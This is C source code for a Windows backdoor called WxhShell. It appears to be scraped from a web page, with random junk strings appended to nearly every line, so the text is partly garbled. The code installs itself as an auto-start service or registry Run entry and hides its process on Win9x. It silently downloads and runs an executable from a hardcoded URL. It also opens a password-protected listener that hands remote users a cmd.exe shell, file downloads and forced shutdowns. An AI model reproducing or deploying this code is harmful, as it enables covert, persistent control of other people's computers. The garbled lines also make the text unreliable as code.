    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R/|o?qTrj  
    if(Boot(SHUTDOWN)) `lzH:B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `,"Jc<R7Z  
    else { 56dl;Z)  
    closesocket(wsh); Z;:-8 HPDY  
    ExitThread(0); tDkqwF),  
    } `#bcoK5  
    break; >6 q@Tr  
    } j>23QPG`6U  
  // 获取shell "bH ~CG:Y  
  case 's': { q<7n5kJ~  
    CmdShell(wsh); w6 .HvH-@?  
    closesocket(wsh); `r V,<  
    ExitThread(0); |<$O5b'  
    break; kA0 ^~  
  } Lf9h;z>#  
  // 退出 ^g\%VIOD  
  case 'x': { f*Bc`+G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yvvR%]!.  
    CloseIt(wsh); ER+[gT1CQ  
    break; uy~j$lrn  
    } v\C+G[MV 7  
  // 离开 E{J;-+t  
  case 'q': { F\;1:y~1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <s >SnOD  
    closesocket(wsh); ;7hr8?M|  
    WSACleanup(); $Izk]o;X~  
    exit(1); _De;SB %V  
    break; }Of^Y@{q.  
        } = '[@UVH(Z  
  } 5KzU&!Zh9  
  } kE}?"<l  
3*<W`yed  
  // 提示信息 !;-x]_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  |QdS;  
} WRCi!  
  } iatQHn >(  
JI(|sAH  
  return; ,*30Q  
} aHw VoT  
KAZz) 7  
// shell模块句柄 <U*d   
int CmdShell(SOCKET sock) 8z&9  
{ s0SB!-Vjm  
STARTUPINFO si; o^D{WH\p  
ZeroMemory(&si,sizeof(si)); UpbzH(?#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^.Q),{%Xo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Aj_}B.  
PROCESS_INFORMATION ProcessInfo; aUV>O`|_  
char cmdline[]="cmd"; ux=@"!PJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S{ !hpq~o  
  return 0; (TPD!=  
} Bb)J8,LQ  
n)yqb  
// 自身启动模式 ( _2eiE71  
int StartFromService(void) l:+1j{ d7  
{ Up:#Zs2  
typedef struct ]@EjKgs  
{ U,N4+F}FR  
  DWORD ExitStatus; [}D)73h`  
  DWORD PebBaseAddress; eYFCf;  
  DWORD AffinityMask; %?seX+ne  
  DWORD BasePriority; N ~Gh>{N  
  ULONG UniqueProcessId; EifYK  
  ULONG InheritedFromUniqueProcessId; jp|wc,]!  
}   PROCESS_BASIC_INFORMATION; ^H'#*b0u  
'CvZiW[_r  
PROCNTQSIP NtQueryInformationProcess; {ib`mC^  
_B2t|uQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wo&i)S<i0F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %zGPF  
Rp#SqRy`  
  HANDLE             hProcess; =g ]C9'I3  
  PROCESS_BASIC_INFORMATION pbi; QnqX/vnR  
| zf||ju  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z6I!4K  
  if(NULL == hInst ) return 0; H={,zZ11{  
r?$\`,;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &nq[Vy0kO4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "F^EfpcJ{9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kDrGl{U}  
<mxUgU  
  if (!NtQueryInformationProcess) return 0; Ur@3_F  
=o {`vv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G} p~VLf  
  if(!hProcess) return 0; C/XOI >  
pT <H&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <NUZPX29  
cWi2Sls  
  CloseHandle(hProcess); mEA w^  
],LOkAX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2:]Sy4K{  
if(hProcess==NULL) return 0; 0o#lB^e;l  
5v]xk?Eb  
HMODULE hMod; 6 -oQs?  
char procName[255]; ` H"5nQRV  
unsigned long cbNeeded; NQb?&.C   
8/=2N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (HEjmQjE  
>[#4Pb7_Y  
  CloseHandle(hProcess); ?FLjvmE9  
=y<Fz*aA  
if(strstr(procName,"services")) return 1; // 以服务启动 !j(R _wOq  
_ &T$0SZco  
  return 0; // 注册表启动 2iUF%>  
} @{bf]Oc  
,yC~{ H  
// 主模块 F>&8b^v bn  
int StartWxhshell(LPSTR lpCmdLine) Ruf*aF(  
{ _*+M'3&=  
  SOCKET wsl; yO !*pC  
BOOL val=TRUE; vO\CPb %/  
  int port=0; FIuKX"XR  
  struct sockaddr_in door; Gce![<|ph  
ow&R~_  
  if(wscfg.ws_autoins) Install(); vt1!|2{ h  
v;OA hFr|  
port=atoi(lpCmdLine); I;No++N0  
3[c54S+(U  
if(port<=0) port=wscfg.ws_port; ^Tl|v'   
zpY8w#b  
  WSADATA data; qRr;&M &t_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M|\ XFO  
S_)va#b#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dx8^V%b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y(%6?a @  
  door.sin_family = AF_INET; <fP|<>s$@1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J9o ]$.e  
  door.sin_port = htons(port); /rquI y^  
#PiW\Tq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~ >6(@~6  
closesocket(wsl); !#'*@a  
return 1; 6(eyUgnb  
} )!0>2,R1  
1(-)$m8}  
  if(listen(wsl,2) == INVALID_SOCKET) { ZqSczS7uf  
closesocket(wsl); i6[Hu8  
return 1; Ts.6 1Rx  
} oRCj]9I$  
  Wxhshell(wsl); f>Ge Em~  
  WSACleanup(); + 5 05  
G-Y8<mEh  
return 0; Baq&>]  
Tfj%Sb,zM  
} 5YRa2#d  
AH;h#dT  
// 以NT服务方式启动 ?@tp1?)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V-VR+Ndz  
{ QqRL>.)W  
DWORD   status = 0; &L_(yJ~-  
  DWORD   specificError = 0xfffffff; gg<lWeS/3  
w'}b 8m(L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fi1tF/ `  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $[H3O(B0*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +"Ka #Z  
  serviceStatus.dwWin32ExitCode     = 0; |TkO'QN  
  serviceStatus.dwServiceSpecificExitCode = 0; |A"zxNeS"  
  serviceStatus.dwCheckPoint       = 0; xw`Pq6  
  serviceStatus.dwWaitHint       = 0; gx3arVa  
<_h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zh7NXTzyf  
  if (hServiceStatusHandle==0) return; Ty7x jIs  
^W;\faG  
status = GetLastError(); _/hWzj=q  
  if (status!=NO_ERROR) g$uj<"^  
{ orJN#0v4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o4U9jU4<"  
    serviceStatus.dwCheckPoint       = 0; 3d[fP#NY7  
    serviceStatus.dwWaitHint       = 0; gd2cwnP  
    serviceStatus.dwWin32ExitCode     = status; K1jE_]@Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; iOw'NxmY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GP1b/n3F1  
    return; }DoNp[`  
  } L\o-zNY  
iXI > >9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a:C ly9  
  serviceStatus.dwCheckPoint       = 0; _pL:dKfy7  
  serviceStatus.dwWaitHint       = 0; t}+P|$[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?3[as<GZ8  
} H}`}qu #~V  
jruwdm^  
// 处理NT服务事件,比如:启动、停止 Rkgpa/te"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FK<1SOE  
{ r"c<15g2'  
switch(fdwControl) =5J}CPKbZI  
{ EP,lT.u3  
case SERVICE_CONTROL_STOP: n{aD4&  
  serviceStatus.dwWin32ExitCode = 0; OLTgBXh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'V/+v#V+>  
  serviceStatus.dwCheckPoint   = 0; eX>x +]l6  
  serviceStatus.dwWaitHint     = 0; Rjt]^gb!*  
  { TF2'-"2Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h<JV6h:8  
  } C`Zz\DNG@  
  return; &Yb!j  
case SERVICE_CONTROL_PAUSE: O(#DaFJv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; saY":fva  
  break; CKCot  
case SERVICE_CONTROL_CONTINUE: 4"7/+6Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w6aq/m"'  
  break; G?*)0`~W  
case SERVICE_CONTROL_INTERROGATE: lG6P+ Z/nf  
  break; <<4U:  
}; yJNQO'wcv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @X5F$=aqZr  
} d[=~-[  
JYc;6p$<i  
// 标准应用程序主函数 R `  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vL}e1V:  
{ ^\KZE|^3@  
>8PGyc*9  
// 获取操作系统版本 -Q9} gaH_  
OsIsNt=GetOsVer(); d0YDNP%,_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); muc6gwBp  
lk;4l Z  
  // 从命令行安装 HHzAmHt  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6fY-D qF!  
@Jr:+|v3B  
  // 下载执行文件 W"$sN8K>)  
if(wscfg.ws_downexe) { ozB2L\D7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9vZ:oO  
  WinExec(wscfg.ws_filenam,SW_HIDE); =# 0f4z  
} F=EG#<@u  
juIi-*R!  
if(!OsIsNt) { :Y>FuE  
// 如果时win9x,隐藏进程并且设置为注册表启动 hh#p=Y(f  
HideProc(); 9X/]O<i,Es  
StartWxhshell(lpCmdLine); Kjzo>fIC{  
} n` M!K:Pq  
else UB^OMB-W.m  
  if(StartFromService()) K,j'!VQA4g  
  // 以服务方式启动 0i[v,eS  
  StartServiceCtrlDispatcher(DispatchTable); y!eT>4Oyg  
else ;8m)a  
  // 普通方式启动 "lLwgh;  
  StartWxhshell(lpCmdLine); x18(}4  
7bSj[kuN  
return 0; z>lIZ}  
} > zA*W<g  
mUA!GzJ~u-  
rel_Z..~  
h(C@IIO^;G  
=========================================== ]"ou?ot }  
FJQ=611@  
Uhs/F:E[A  
4Dy|YH$>S  
duQ ,6  
TAB'oLNp  
" 1 K(0tG:5  
0#Ae<  
#include <stdio.h> 717S3knlv  
#include <string.h> 3LRBH+Tt  
#include <windows.h> ^m Ua5w  
#include <winsock2.h> 6U9F vPJ  
#include <winsvc.h> 1Be/(pSc  
#include <urlmon.h> m941 Y  
WF] |-)vw  
#pragma comment (lib, "Ws2_32.lib") ghGpi U$  
#pragma comment (lib, "urlmon.lib") pF/s5z  
q{Ao j  
#define MAX_USER   100 // 最大客户端连接数 g>E.Snj}  
#define BUF_SOCK   200 // sock buffer k@Qd:I;;  
#define KEY_BUFF   255 // 输入 buffer &ea6YQ  
Dr K@y8  
#define REBOOT     0   // 重启 n{$! ]^>  
#define SHUTDOWN   1   // 关机 OMf w#  
,J(shc_F  
#define DEF_PORT   5000 // 监听端口 Y6G`p  
3!M|Sf<s  
#define REG_LEN     16   // 注册表键长度 HjCe/J ;  
#define SVC_LEN     80   // NT服务名长度 eHb@qKnf  
twMDEw#VL  
// 从dll定义API u+ b `aB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T].Xx`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zb3,2D+P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i"#pk"@`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yz)+UF,  
^u(-v/D9  
// wxhshell配置信息 "% l``  
struct WSCFG { [>D5(O  
  int ws_port;         // 监听端口 |"g+p)A  
  char ws_passstr[REG_LEN]; // 口令 IN_O!c0e  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z H2   
  char ws_regname[REG_LEN]; // 注册表键名 }2h!  
  char ws_svcname[REG_LEN]; // 服务名 XM f>B|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LEuDDJ -  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x3:d/>b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZiW&*nN?M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xc}kDpF=g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f|6 Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J\Db8O-/x4  
`{%ImXQF  
}; BD- c<K"  
`y>BbJqy  
// default Wxhshell configuration ~6=aoF5"3?  
struct WSCFG wscfg={DEF_PORT, a$K6b5`>Rs  
    "xuhuanlingzhe", osn ,kD*  
    1, +2+|zXmT  
    "Wxhshell", XTJA"y  
    "Wxhshell", "m > BE  
            "WxhShell Service", 4Ss*h,Y  
    "Wrsky Windows CmdShell Service", `m}G{jfk  
    "Please Input Your Password: ", Y0yu,   
  1, {ub'   
  "http://www.wrsky.com/wxhshell.exe", V%'' GF   
  "Wxhshell.exe" L8J] X7  
    }; Ax6zx  
.=N?;i  
// 消息定义模块 .Zc:$"gDu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D@%!|:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5(t hDZ!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QtA@p  
char *msg_ws_ext="\n\rExit."; MxOIe|=&  
char *msg_ws_end="\n\rQuit."; &z05h<]  
char *msg_ws_boot="\n\rReboot..."; N :OLN[  
char *msg_ws_poff="\n\rShutdown...";  Q!5W x  
char *msg_ws_down="\n\rSave to "; Z.`0  
97dF  
char *msg_ws_err="\n\rErr!"; =)}Yw)  
char *msg_ws_ok="\n\rOK!"; 5/R ~<z  
O03F@v  
char ExeFile[MAX_PATH]; 5 qMP u|A  
int nUser = 0; 1HLU &  
HANDLE handles[MAX_USER]; H#M;TjR  
int OsIsNt; LJA uTg  
H2'djZ  
SERVICE_STATUS       serviceStatus; $F1Am%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +7{8T{  
oT|:gih5  
// 函数声明 @~&|BvK% \  
int Install(void); `#:(F z  
int Uninstall(void); Wr@q+Whq  
int DownloadFile(char *sURL, SOCKET wsh); z SjZTA/Z  
int Boot(int flag); 85q!FpuH  
void HideProc(void); Y.q$"lm7k  
int GetOsVer(void); cqaq~  
int Wxhshell(SOCKET wsl); OepQ Z|2  
void TalkWithClient(void *cs); Gzp*Vr  
int CmdShell(SOCKET sock);  PZY6 I  
int StartFromService(void); X/bu z  
int StartWxhshell(LPSTR lpCmdLine); r?9".H  
3e>U(ES  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e~SRGyIww  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r)B55;*Fh  
XT \2  
// 数据结构和表定义 b'I@TLE')  
SERVICE_TABLE_ENTRY DispatchTable[] = 3lbGG42:  
{ <E:_9#Z0sc  
{wscfg.ws_svcname, NTServiceMain}, R[kF(C&  
{NULL, NULL} b\t?5z-Z  
}; _$/Bt?h  
Nxt`5kSx=  
// 自我安装 Uu|2!}^T  
int Install(void) 4b+_|kYb  
{ VR'zm\< D  
  char svExeFile[MAX_PATH]; >%5GMx>m  
  HKEY key; ltyhYPS  
  strcpy(svExeFile,ExeFile); s )Xz}QPK.  
']d(m?  
// 如果是win9x系统,修改注册表设为自启动 vsPIvW!V  
if(!OsIsNt) { S_ra8HY8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !?sB=qo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >`|Wg@_  
  RegCloseKey(key); <?:h(IZe[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  hOYX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m {&lU@uL  
  RegCloseKey(key); vs>Pd |p;  
  return 0; (w`_{%T  
    } 0>"y)T3   
  } 11Uu5e!.  
} aWNj l  
else { S~W;Ld<>fB  
efuiFN;  
// 如果是NT以上系统,安装为系统服务 Q[FDk63;w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wc#k@"2AZb  
if (schSCManager!=0) r*ziO#[  
{ [ {HTGz@(  
  SC_HANDLE schService = CreateService TxH amI l  
  ( og_ylCh:  
  schSCManager, BjHp3-A'  
  wscfg.ws_svcname, 8bf@<VTO_  
  wscfg.ws_svcdisp, E&Zt<pRf;2  
  SERVICE_ALL_ACCESS, 7q{yLcC"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dA<SVk*0Q  
  SERVICE_AUTO_START, .J=QWfqt  
  SERVICE_ERROR_NORMAL, Bat@  
  svExeFile, >;#rK@*&  
  NULL, '+GY6Ecg  
  NULL, O_ vH w^  
  NULL, WqS$C;]%  
  NULL, p<&>1}j=  
  NULL Y/LS(b*  
  ); "Bz#5kqnl  
  if (schService!=0) i~3\dp  
  { brK7|&R<  
  CloseServiceHandle(schService); $GOF'  
  CloseServiceHandle(schSCManager); @1qdnU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nfv` )n@  
  strcat(svExeFile,wscfg.ws_svcname); OB++5Wd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LoOw]@>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  z@~mu  
  RegCloseKey(key); 99%R/m  
  return 0; C' WX$!$d  
    } =$T[  
  } TH55@1W,[  
  CloseServiceHandle(schSCManager); ~@e=+Z  
} I,aaSBwt&2  
} I,"q:QS+  
] VEc9?  
return 1; 4q?R3 \e;  
} vP_mS 4X  
Xc&J.Tw#4*  
// 自我卸载 'Tskx  
int Uninstall(void) 3JD"* <zs  
{ 9yu#G7  
  HKEY key; b8[ ayy  
sxdDI?W4  
if(!OsIsNt) { ma/<#l^}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cY+n 6k5  
  RegDeleteValue(key,wscfg.ws_regname); NCYOY  
  RegCloseKey(key); vst;G-ys  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e`+ej-o,  
  RegDeleteValue(key,wscfg.ws_regname); `Gx 5=Bm;  
  RegCloseKey(key); |oQhtk8.  
  return 0; }*!_M3O  
  } JdUI:(  
} 9H53H"5q  
} K M[&WT  
else { a/rQ@c>  
DcC|oU[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]ki) (Bb  
if (schSCManager!=0) <e wcWr  
{ xa 967Ki9"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gt=@v())  
  if (schService!=0) P,7R/-u5D  
  { 5A%Uv*  
  if(DeleteService(schService)!=0) { ]vw%J ^7:a  
  CloseServiceHandle(schService); p _2Yc]8  
  CloseServiceHandle(schSCManager); u Tdz$Nh  
  return 0; 7.+vp@+  
  } ) % gU  
  CloseServiceHandle(schService); :OqEkh"$#  
  } #miG"2ea..  
  CloseServiceHandle(schSCManager); <p?oFD_e4  
} 8|u8J0^  
} MM&qLAa"f  
M+)ENv e  
return 1; 'b6qEU#  
} I9nm$,i]7  
zFY$^Oz"_  
// 从指定url下载文件 +x?8\  
int DownloadFile(char *sURL, SOCKET wsh) };'~@%U]/  
{ .R#<Q  
  HRESULT hr; '#yIcV$  
char seps[]= "/"; 2+K - I  
char *token; Cd_H<8__  
char *file; %fXgV\xY  
char myURL[MAX_PATH]; ,,g: x  
char myFILE[MAX_PATH]; R <&U]%FD  
g3!<A*<  
strcpy(myURL,sURL); ]6MXG%  
  token=strtok(myURL,seps); DZ:$p.  
  while(token!=NULL) =(bTS n  
  { \_)mWK,h  
    file=token; p77=~s  
  token=strtok(NULL,seps); \ >#y*W<  
  } Z4{N|h?  
T:!H^  
GetCurrentDirectory(MAX_PATH,myFILE); sdKm@p|/|  
strcat(myFILE, "\\"); fF5\\_,  
strcat(myFILE, file); "y ;0}9]n1  
  send(wsh,myFILE,strlen(myFILE),0); jS|jPk|I.  
send(wsh,"...",3,0); ,o0[^-b<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7{VN27Fa_  
  if(hr==S_OK) _Om5w p=:  
return 0; R-2Aby ts2  
else d7Z$/ $  
return 1; }_Y\6fcd  
' R= OeH  
} M{=p0?X  
_+Uf5,.5yU  
// 系统电源模块 {>Qs+]  
int Boot(int flag) COxJ,v(  
{ 6rlM\k@!  
  HANDLE hToken; \.F|c  
  TOKEN_PRIVILEGES tkp; ;Wn0-`_1,  
y+7A?"s)  
  if(OsIsNt) { >QBDxm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iE]^ 6i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @y|JIBBRc  
    tkp.PrivilegeCount = 1;  \Awqr:A&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !$Arc^7r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w-Q=oEt  
if(flag==REBOOT) { R78P](1\>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ! OOOc  
  return 0; ~`0=-Qkd  
} ("=B,%F_  
else { A8ClkLC;I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #-PUm0|  
  return 0; 7+$P6[*  
} n]K{-C;  
  } +1eb@b X  
  else { xoQqku"vn  
if(flag==REBOOT) { iH-(_$f;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BbgKaCq  
  return 0; .]; `  
} k vt^s0T8Q  
else { b^<7@tY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mu_'C$zA  
  return 0; 3IoN.  
} \~T&C5  
} G%%5lw!y'  
f/Q/[2t  
return 1; u TmT'u:}  
} `t7GYmw^#  
4@@gC&:Y  
// win9x进程隐藏模块 FCChB7c`  
void HideProc(void) P_E xh]P  
{ F&OcI.OTXF  
]/Cu,mX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2'?C  
  if ( hKernel != NULL ) `yM9XjEl>  
  { TEbE-h0)]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hNF,sA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nwJc%0  
    FreeLibrary(hKernel); ? Lr:>  
  } l YjPrA]TC  
{HP.HK  
return; G+ NTn\  
} 7K/t>QrBtU  
92^Dn`g  
// 获取操作系统版本 ?9z1'6  
int GetOsVer(void) aY %{?8PsB  
{ @Z@S;RWSU  
  OSVERSIONINFO winfo; #/WjKr n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /$UWTq/C7  
  GetVersionEx(&winfo); l^v,X%{Iz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =CL h<&  
  return 1; #3-hE  
  else C+-sf  
  return 0; deutY.7g  
} n:JG+1I  
i]0$ 7s9!  
// 客户端句柄模块 LhKUZX,P8  
int Wxhshell(SOCKET wsl) D!bi>]Yd  
{ <-!' V,c  
  SOCKET wsh; )umW-A  
  struct sockaddr_in client; [Ib17#74  
  DWORD myID; u6/;=]0   
0Pg@%>yb~  
  while(nUser<MAX_USER) :LD+B1$y  
{ ^bXCYkx  
  int nSize=sizeof(client); R-\"^BV#Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SXmh@a"*\  
  if(wsh==INVALID_SOCKET) return 1; 4$4n9`odE  
.u;'eVH)a}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^I!gteU;  
if(handles[nUser]==0) iBqIV  
  closesocket(wsh); / gE9 W  
else  w1t0X{  
  nUser++; !)uXCg9U  
  } [Ny'vAHOj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pEiq;2{~Yn  
+fq;o8q  
  return 0; `,6^eLU  
} )h;zH,DA[3  
+9_E+H'?!  
// 关闭 socket }-paGM@'Nd  
void CloseIt(SOCKET wsh) fq0[7Yb  
{ \V9);KAOj  
closesocket(wsh); lziC.Dpa  
nUser--; Mm#=d?YUHJ  
ExitThread(0); MZSyu  
} i-&"1D[&  
*q(HW  
// 客户端请求句柄 DZX4c2J  
void TalkWithClient(void *cs) 6 ZVD<C:\  
{ |( R[5q  
ZRCUM"R_  
  SOCKET wsh=(SOCKET)cs; %l)~C%T  
  char pwd[SVC_LEN]; zuBfkW95+  
  char cmd[KEY_BUFF]; Q37zBC 0  
char chr[1]; `O}bPwa{>  
int i,j; '8fh(`  
R]_fe4Y0  
  while (nUser < MAX_USER) { hFt~7R  
2pAshw1G  
if(wscfg.ws_passstr) { QEl~uhc3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .y~~[QF}8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "RsH'`  
  //ZeroMemory(pwd,KEY_BUFF); yykyvy  
      i=0; 7:&a,nU  
  while(i<SVC_LEN) { '5n=tRx  
JLV?n,nF  
  // 设置超时 NKw}VW'|  
  fd_set FdRead; ~sc@49p  
  struct timeval TimeOut; |n.ydyu`  
  FD_ZERO(&FdRead); tqK}KL  
  FD_SET(wsh,&FdRead); 7.xJ:r|  
  TimeOut.tv_sec=8; R)qK{wq(1E  
  TimeOut.tv_usec=0; pXHeUBY.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WWWfQ_u2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %b`B.A  
j_~lc,+m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cl3hpqv1I  
  pwd=chr[0]; c)=UX_S!  
  if(chr[0]==0xd || chr[0]==0xa) { [KwwhI@3  
  pwd=0; QjwCY=PK!  
  break; {m<!-B95  
  } @GE:<'_:{  
  i++; l ~ /y  
    } \{`*`WQF  
K?aUIkVs  
  // 如果是非法用户,关闭 socket V3}$vKQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =6+j Po{F  
} N_>}UhZ  
1oIu~f{`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wenJ(0L|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %uhhQ<zs%  
RlTVx :  
while(1) { )ur&Mnmm  
X+XbIbUuL  
  ZeroMemory(cmd,KEY_BUFF); nzORG  
Yg14aKZl  
      // 自动支持客户端 telnet标准   MEn#MT/Cz  
  j=0; &:)e   
  while(j<KEY_BUFF) { x+5y287#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t ~"DQq E  
  cmd[j]=chr[0]; oM#S.f?  
  if(chr[0]==0xa || chr[0]==0xd) { ^7~w yAr  
  cmd[j]=0; wH[}@w  
  break; A)q,VSR8  
  } 4lfJc9J  
  j++; },LW@Z}  
    } >zAI#N4  
k|T0Bly3P  
  // 下载文件 kXbdR  
  if(strstr(cmd,"http://")) { 7%4@*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1 +'HKT}  
  if(DownloadFile(cmd,wsh)) )z?Kq0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T3 k#6N.  
  else mF !=H%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mg^\"GC*8  
  } i<Be)Y-'  
  else { T"m(V/L$W  
